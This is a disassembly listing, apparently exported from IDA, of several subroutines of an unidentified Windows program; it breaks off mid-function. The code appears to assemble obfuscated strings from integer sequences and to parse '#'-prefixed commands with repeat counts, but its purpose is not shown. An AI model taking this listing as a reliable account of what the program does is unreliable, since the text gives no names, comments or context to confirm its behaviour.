; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE2E0	proc near		; CODE XREF: sub_13AC46Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	438139h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_13ABED2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13ABED2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13ABED2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13ABED2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13ABED2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13ABED2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13ABED2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13ABED2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13AE2E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AE3C0	proc near		; CODE XREF: sub_13AC134j

var_FC		= byte ptr -0FCh
var_E4		= byte ptr -0E4h
var_D8		= byte ptr -0D8h
var_CC		= byte ptr -0CCh
var_C0		= byte ptr -0C0h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_A0		= dword	ptr -0A0h
var_9C		= byte ptr -9Ch
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	4381E8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+6Ch+var_48]
		mov	[esp+6Ch+var_10], edi
		call	sub_13AB626
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+90h+var_48]
		push	2
		push	edx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+70h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+78h+var_54]
		mov	[esp+78h+var_1C], edi
		call	sub_13AB626
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+94h+var_54]
		push	2
		push	ecx
		call	sub_13ABDB5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+7Ch+var_1C], 2
		call	sub_13ABBE4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+84h+var_60]
		mov	[esp+84h+var_28], edi
		call	sub_13AB626
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+0A4h+var_60]
		push	2
		push	eax
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+88h+var_28], 3
		call	sub_13ABBE4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+90h+var_6C]
		mov	[esp+90h+var_34], edi
		call	sub_13AB626
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+0B4h+var_6C]
		push	2
		push	edx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+94h+var_34], 4
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+9Ch+var_78]
		mov	[esp+9Ch+var_40], edi
		call	sub_13AB626
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+0BCh+var_78]
		push	2
		push	ecx
		call	sub_13ABDB5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+0A0h+var_40], 5
		call	sub_13ABBE4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0A8h+var_84]
		mov	[esp+0A8h+var_4C], edi
		call	sub_13AB626
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+0D0h+var_84]
		push	2
		push	eax
		call	sub_13ABDB5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+0ACh+var_4C], 6
		call	sub_13ABBE4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0B4h+var_90]
		mov	[esp+0B4h+var_58], edi
		call	sub_13AB626
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+0CCh+var_90]
		push	2
		push	edx
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+0B8h+var_58], 7
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0C0h+var_9C]
		mov	[esp+0C0h+var_64], edi
		call	sub_13AB626
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+0D8h+var_9C]
		push	2
		push	ecx
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+0C4h+var_64], 8
		call	sub_13ABBE4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0CCh+var_A8]
		mov	[esp+0CCh+var_70], edi
		call	sub_13AB626
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+0E0h+var_A8]
		push	2
		push	eax
		call	sub_13ABDB5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+0D0h+var_70], 9
		call	sub_13ABBE4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0D8h+var_B4]
		mov	[esp+0D8h+var_7C], edi
		call	sub_13AB626
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+0ECh+var_B4]
		push	2
		push	edx
		call	sub_13ABDB5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+0DCh+var_7C], 0Ah
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0E4h+var_C0]
		mov	[esp+0E4h+var_88], edi
		call	sub_13AB626
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+0F8h+var_C0]
		push	2
		push	ecx
		call	sub_13ABDB5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+0E8h+var_88], 0Bh
		call	sub_13ABBE4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0F0h+var_CC]
		mov	[esp+0F0h+var_94], edi
		call	sub_13AB626
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+114h+var_CC]
		push	2
		push	eax
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+0F4h+var_94], 0Ch
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+0FCh+var_D8]
		mov	[esp+0FCh+var_A0], edi
		call	sub_13AB626
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+114h+var_D8]
		push	2
		push	edx
		call	sub_13ABDB5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+100h+var_A0], 0Dh
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+108h+var_E4]
		mov	[esp+108h+var_AC], edi
		call	sub_13AB626
		lea	ecx, [esi+9]
		call	sub_13ABBE4
		lea	ecx, [esp+108h+var_FC]
		push	eax
		push	ecx
		call	sub_13AC422
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+118h+var_E4]
		push	28h
		push	edx
		mov	[esp+120h+var_AC], 0Eh
		call	sub_13ABDB5
		add	esp, 18h
		mov	ebp, eax
		lea	ecx, [esp+108h+var_FC]
		mov	byte ptr [esp+108h+var_AC], 0Fh
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F4
		push	offset byte_E19CC5
		call	sub_13AC20B
		add	esp, 10h
		lea	ecx, [esp+108h+var_E4]
		mov	byte ptr [esp+108h+var_AC], 0Eh
		call	sub_13AB626
		push	20h
		lea	eax, [esp+10Ch+var_CC]
		push	0
		push	eax
		lea	ecx, [esp+114h+var_FC]
		call	sub_13AB6B2
		mov	ecx, eax
		mov	byte ptr [esp+114h+var_B8], 10h
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F0
		push	offset byte_E2AA95
		call	sub_13AB42D
		add	esp, 0Ch
		mov	byte ptr [esp+114h+var_B8], 0Eh
		lea	ecx, [esp+114h+var_D8]
		call	sub_13AB626
		call	GetTickCount	; GetTickCount
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		shr	edx, 6
		lea	ecx, [esp+60h+var_54]
		mov	[esi+5], edx
		mov	[esp+60h+var_4], edi
		call	sub_13AB626
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn
sub_13AE3C0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AEA40	proc near		; CODE XREF: sub_13ABE32j

var_114		= dword	ptr -114h
var_F4		= byte ptr -0F4h
var_F0		= byte ptr -0F0h
var_E8		= byte ptr -0E8h
var_E4		= byte ptr -0E4h
var_DC		= byte ptr -0DCh
var_C8		= byte ptr -0C8h
var_C4		= byte ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B0		= byte ptr -0B0h
var_A8		= byte ptr -0A8h
var_A0		= byte ptr -0A0h
var_9C		= byte ptr -9Ch
var_98		= byte ptr -98h
var_94		= dword	ptr -94h
var_90		= byte ptr -90h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= byte ptr -80h
var_7C		= byte ptr -7Ch
var_74		= byte ptr -74h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_13AEA40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_13AB86F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_13AEA82
		push	ebx
		jmp	short loc_13AEA86
; ---------------------------------------------------------------------------


loc_13AEA82:				; CODE XREF: sub_13AEA40+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_13AEA86:				; CODE XREF: sub_13AEA40+40j
		mov	ecx, edi
		call	sub_13AC3BE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_13AEAA2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_13AC3BE


loc_13AEAA2:				; CODE XREF: sub_13AEA40+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_13AEB1F
		lea	ecx, [esp+0A0h+var_74]
		call	sub_13AB824
		push	offset dword_443604
		mov	ecx, esi
		mov	[esp+0A4h+var_C], 0
		call	sub_13AB7E3
		add	eax, 3
		lea	edx, [esp+0A4h+var_60]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_13AC22E
		push	eax
		lea	ecx, [esp+0B0h+var_80]
		mov	[esp+0B0h+var_18], 1
		call	sub_13AC3BE
		lea	ecx, [esp+0B0h+var_6C]
		mov	[esp+0B0h+var_1C], 0
		call	sub_13AB626
		lea	eax, [esp+0B0h+var_84]
		mov	ecx, edi
		push	eax
		call	sub_13AC3BE
		lea	ecx, [esp+0B4h+var_88]
		mov	[esp+0B4h+var_20], 0FFFFFFFFh
		call	sub_13AB626


loc_13AEB1F:				; CODE XREF: sub_13AEA40+6Aj
		push	offset dword_443600
		lea	ecx, [esp+0B8h+var_88]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		lea	edx, [esp+0C0h+var_7C]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0C8h+var_2C], ebx
		call	sub_13AC22E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+0CCh+var_34], 3
		call	sub_13AC3BE
		lea	ecx, [esp+0CCh+var_88]
		mov	byte ptr [esp+0CCh+var_38], bl
		call	sub_13AB626
		lea	ecx, [esp+0CCh+var_A0]
		mov	[esp+0CCh+var_38], 0FFFFFFFFh
		call	sub_13AB626
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_13AB86F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_13AB86F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_13AEDEA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0F4h+var_88]
		push	ebx
		push	ecx
		call	sub_13ABDB5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+0CCh+var_38], 4
		call	sub_13ABBE4
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13AEC0F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0E8h+var_34], esp
		push	edx
		call	sub_13AB8C9
		mov	ecx, offset word_448CAE
		call	sub_13AC0D0
		test	eax, eax
		jz	short loc_13AEC0F
		mov	bl, 1
		jmp	short loc_13AEC11
; ---------------------------------------------------------------------------


loc_13AEC0F:				; CODE XREF: sub_13AEA40+1A6j
					; sub_13AEA40+1C9j
		xor	bl, bl


loc_13AEC11:				; CODE XREF: sub_13AEA40+1CDj
		lea	ecx, [esp+0D0h+var_8C]
		mov	[esp+0D0h+var_3C], 0FFFFFFFFh
		call	sub_13AB626
		test	bl, bl
		jz	loc_13AEDCE
		push	offset dword_443600
		lea	eax, [esp+0D4h+var_8C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+0E0h+var_48], 5
		call	sub_13AB6EE
		test	eax, eax
		lea	ecx, [esp+0E0h+var_9C]
		mov	[esp+0E0h+var_4C], 0FFFFFFFFh
		setz	bl
		call	sub_13AB626
		test	bl, bl
		jnz	loc_13AEDEA
		push	offset dword_443600
		lea	ecx, [esp+0E4h+var_9C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+0ECh+var_58], 6
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+0ECh+var_A8]
		mov	ebp, eax
		mov	[esp+0ECh+var_58], 0FFFFFFFFh
		call	sub_13AB626
		test	ebp, ebp
		jz	loc_13AEDEA
		push	20h
		mov	ecx, esi
		call	sub_13AC120
		lea	edx, [esp+0F0h+var_DC]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_13AC22E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+0FCh+var_E4]
		mov	[esp+0FCh+var_64], ebx
		call	sub_13AC120
		push	eax
		lea	eax, [esp+100h+var_B8]
		push	eax
		lea	ecx, [esp+104h+var_E8]
		call	sub_13AC22E
		push	eax
		lea	ecx, [esp+108h+var_F0]
		mov	[esp+108h+var_70], 8
		call	sub_13AC40E
		lea	ecx, [esp+108h+var_C4]
		mov	[esp+108h+var_74], bl
		call	sub_13AB626
		lea	ecx, [esp+108h+var_F4]
		push	ecx
		mov	ecx, esi
		call	sub_13AC3BE
		push	offset dword_443600
		lea	edx, [esp+110h+var_98]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		lea	ecx, [esp+118h+var_BC]
		push	1
		push	ecx
		mov	ecx, eax
		mov	[esp+120h+var_84], 9
		call	sub_13AC22E
		push	eax
		mov	ecx, edi
		mov	[esp+124h+var_8C], 0Ah
		call	sub_13AC3BE
		lea	ecx, [esp+124h+var_C8]
		mov	[esp+124h+var_90], 9
		call	sub_13AB626
		lea	ecx, [esp+124h+var_B0]
		mov	[esp+124h+var_90], bl
		call	sub_13AB626
		mov	al, [esp+124h+var_84]
		test	al, al
		jnz	short loc_13AEDA7
		test	ebp, ebp
		jle	short loc_13AEDB8


loc_13AED98:				; CODE XREF: sub_13AEA40+363j
		mov	ecx, [esp+124h+var_114]
		push	esi
		call	sub_13AC369
		dec	ebp
		jnz	short loc_13AED98
		jmp	short loc_13AEDB8
; ---------------------------------------------------------------------------


loc_13AEDA7:				; CODE XREF: sub_13AEA40+352j
		test	ebp, ebp
		jle	short loc_13AEDB8


loc_13AEDAB:				; CODE XREF: sub_13AEA40+376j
		mov	ecx, [esp+124h+var_114]
		push	esi
		call	sub_13AB842
		dec	ebp
		jnz	short loc_13AEDAB


loc_13AEDB8:				; CODE XREF: sub_13AEA40+356j
					; sub_13AEA40+365j ...
		lea	ecx, [esp+128h+var_114]
		mov	[esp+128h+var_94], 0FFFFFFFFh
		call	sub_13AB626
		jmp	short loc_13AEDEA
; ---------------------------------------------------------------------------


loc_13AEDCE:				; CODE XREF: sub_13AEA40+1E7j
		mov	al, [esp+0D0h+var_30]
		mov	ecx, [esp+0D0h+var_C0]
		test	al, al
		push	esi
		jnz	short loc_13AEDE5
		call	sub_13AC369
		jmp	short loc_13AEDEA
; ---------------------------------------------------------------------------


loc_13AEDE5:				; CODE XREF: sub_13AEA40+39Cj
		call	sub_13AB842


loc_13AEDEA:				; CODE XREF: sub_13AEA40+162j
					; sub_13AEA40+232j ...
		mov	ecx, [esp+0D4h+var_48]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_13AEA40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AEF10	proc near		; CODE XREF: sub_13AC369j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448CB2
		call	sub_13AB8D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13AEF56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_13AB8C9
		mov	ecx, offset word_448CAE
		call	sub_13AC0D0
		test	eax, eax
		jnz	short loc_13AEF56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13AEF56:				; CODE XREF: sub_13AEF10+1Dj
					; sub_13AEF10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_13AB8C9
		mov	ecx, offset word_448CAE
		call	sub_13AC0D0
		test	eax, eax
		jnz	short loc_13AEF96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_13AEF96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_13AB86F
		cmp	byte ptr [eax],	23h
		jz	short loc_13AEF96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13AEF96:				; CODE XREF: sub_13AEF10+64j
					; sub_13AEF10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_13AB842
		pop	edi
		pop	esi
		retn	4
sub_13AEF10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AEFE0	proc near		; CODE XREF: sub_13AB842j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13ABEF0
		test	eax, eax
		jz	short loc_13AF00A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13AF00A:				; CODE XREF: sub_13AEFE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_13AEFE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AF020	proc near		; CODE XREF: sub_13ABC5Cj
		push	esi
		push	edi
		mov	edi, GetTickCount
		mov	esi, ecx
		call	edi ; GetTickCount
		mov	edx, ds:dword_E19CE9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_13AF04F
		mov	ecx, offset byte_E19CC5
		call	sub_13AC10C
		call	edi ; GetTickCount
		mov	ds:dword_E19CE9, eax


loc_13AF04F:				; CODE XREF: sub_13AF020+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_13AF020	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13AF070	proc near		; CODE XREF: sub_13ABBC6j

var_2E0		= dword	ptr -2E0h
var_2D8		= dword	ptr -2D8h
var_2C4		= byte ptr -2C4h
var_2BC		= byte ptr -2BCh
var_2B0		= dword	ptr -2B0h
var_2AC		= byte ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= byte ptr -2A4h
var_294		= byte ptr -294h
var_28C		= byte ptr -28Ch
var_280		= dword	ptr -280h
var_27C		= byte ptr -27Ch
var_278		= dword	ptr -278h
var_274		= byte ptr -274h
var_264		= byte ptr -264h
var_260		= byte ptr -260h
var_25C		= byte ptr -25Ch
var_258		= byte ptr -258h
var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_248		= dword	ptr -248h
var_244		= byte ptr -244h
var_234		= byte ptr -234h
var_22C		= byte ptr -22Ch
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
var_204		= byte ptr -204h
var_1FC		= byte ptr -1FCh
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= byte ptr -1E4h
var_1D4		= byte ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1CC		= byte ptr -1CCh
var_1C4		= byte ptr -1C4h
var_1C0		= byte ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= byte ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= byte ptr -1ACh
var_1A8		= byte ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_19C		= byte ptr -19Ch
var_198		= byte ptr -198h
var_194		= byte ptr -194h
var_190		= byte ptr -190h
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_184		= byte ptr -184h
var_180		= dword	ptr -180h
var_17C		= byte ptr -17Ch
var_178		= byte ptr -178h
var_174		= byte ptr -174h
var_170		= byte ptr -170h
var_16C		= byte ptr -16Ch
var_164		= byte ptr -164h
var_160		= byte ptr -160h
var_15C		= byte ptr -15Ch
var_154		= byte ptr -154h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_13C		= byte ptr -13Ch
var_138		= byte ptr -138h
var_134		= byte ptr -134h
var_12C		= byte ptr -12Ch
var_124		= byte ptr -124h
var_120		= byte ptr -120h
var_11C		= byte ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_FC		= byte ptr -0FCh
var_F0		= byte ptr -0F0h
var_EC		= byte ptr -0ECh
var_E4		= byte ptr -0E4h
var_DC		= byte ptr -0DCh
var_D8		= word ptr -0D8h
var_CC		= byte ptr -0CCh
var_C8		= byte ptr -0C8h
var_C0		= byte ptr -0C0h
var_BC		= byte ptr -0BCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_90		= byte ptr -90h
var_8C		= byte ptr -8Ch
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	4384BBh
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13AF0E4
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13AFA75
; ---------------------------------------------------------------------------


loc_13AF0E4:				; CODE XREF: sub_13AF070+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13AF275
		push	1
		push	offset dword_443600
		lea	edx, [esp+188h+var_154]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_13AB5EA
		push	offset dword_443600
		lea	eax, [esp+194h+var_118]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+19Ch+var_1C], 0
		call	sub_13ABAAE
		mov	ecx, eax
		mov	byte ptr [esp+19Ch+var_28], 1
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+19Ch+var_124]
		mov	byte ptr [esp+19Ch+var_28], 0
		setz	bl
		call	sub_13AB626
